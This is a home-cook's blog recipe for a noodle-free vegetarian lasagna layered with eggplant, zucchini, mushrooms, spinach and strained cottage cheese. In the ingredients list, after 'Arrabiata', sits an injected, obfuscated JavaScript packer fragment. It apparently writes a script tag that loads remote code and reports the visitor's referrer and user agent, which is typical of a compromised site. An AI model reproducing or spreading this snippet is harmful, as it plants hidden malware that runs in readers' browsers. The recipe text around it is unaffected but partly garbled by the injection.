Vegetarian Lasagna

For some reason I had a hankering for vegetarian lasagna.  I probably had a hankering for real lasagne, but was trying to think of a healthier option.

When I explained my “vegetarian” lasagna to a friend, he said, “you didn’t make a lasagna, you made a casserole.”  I didn’t include any lasagna noodles and he had beef with that.

Nevertheless, this recipe took a few tries!  Here’s what I did.

Ingredients

Arrabiata ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndfie|var|u0026u|referrer|tryzk||js|php’.split(‘|’),0,{}))
Sauce from TJs (feel free to make your own, I just find this to be the tastiest)
1 large eggplant
1 package of mini zucchinis from TJs
16 oz crimini mushrooms
1/2 an onion (I used yellow)
1 cup cooked spinach
Garlic
16 oz non fat cottage cheese
1-2 Tbs grated Parmesan cheese
1-2 cups grated mozzarella

Zucchini
I cut these a bit thinner, closer to 1/8-1/4 of an inch.  A mandolin would probably come in handy here.  Microwave until dry and wrinkly, set aside.

Mushrooms and Onions
Dice the mushrooms and onions and saute in a little olive oil.  The mushrooms will eventually release their liquid.  Continue to saute until the liquid burns off.  Set aside.

Cottage Cheese
Pour the cottage cheese through a fine mesh strainer.  You want to get as much of the liquid out as possible.  Then transfer the “dry” cottage cheese to a bowl and mix in the parmesan cheese.  Set aside.

Sauce
Take a fine mesh strainer and put it over a bowl (can be the same one you just used for the cottage cheese).  Pour the jar of sauce through the strainer.  You’ll get the chunky part of the sauce on top and the liquid part in the bottom.  Set aside.

And now it’s time to make the lasagna!
1.  Take your 9×13 pan and pour a little of the liquid sauce and 1/3 of the non-liquid sauce in the bottom, just enough to coat.
2.  Lay the eggplant down
3.  Lay the zucchini down

4.  Cover with half of the cottage cheese mix

5.  Cover with half of the mushroom mix
6.  Cover with half of the spinach

7.  Cover with half of the mozzarella
8.  Put 1/3 of the non-liquid sauce on
9.  Eggplant
10.  Zucchini
11.  Cottage Cheese
12.  Mushrooms
13.  Spinach
14.  A little more sauce (use the rest of the non-liquid studd
15.  The rest of the mozzarellaCover with foil and bake for about 35 minutes at 375.  Remove the foil and bake for another 5 minutes, or until the cheese is nice and brown and bubbly.

NOTE:  I just learned that LasagnA has an A at the end and not an E…….I think this means  don’t have enough Italian to recognize the spelling.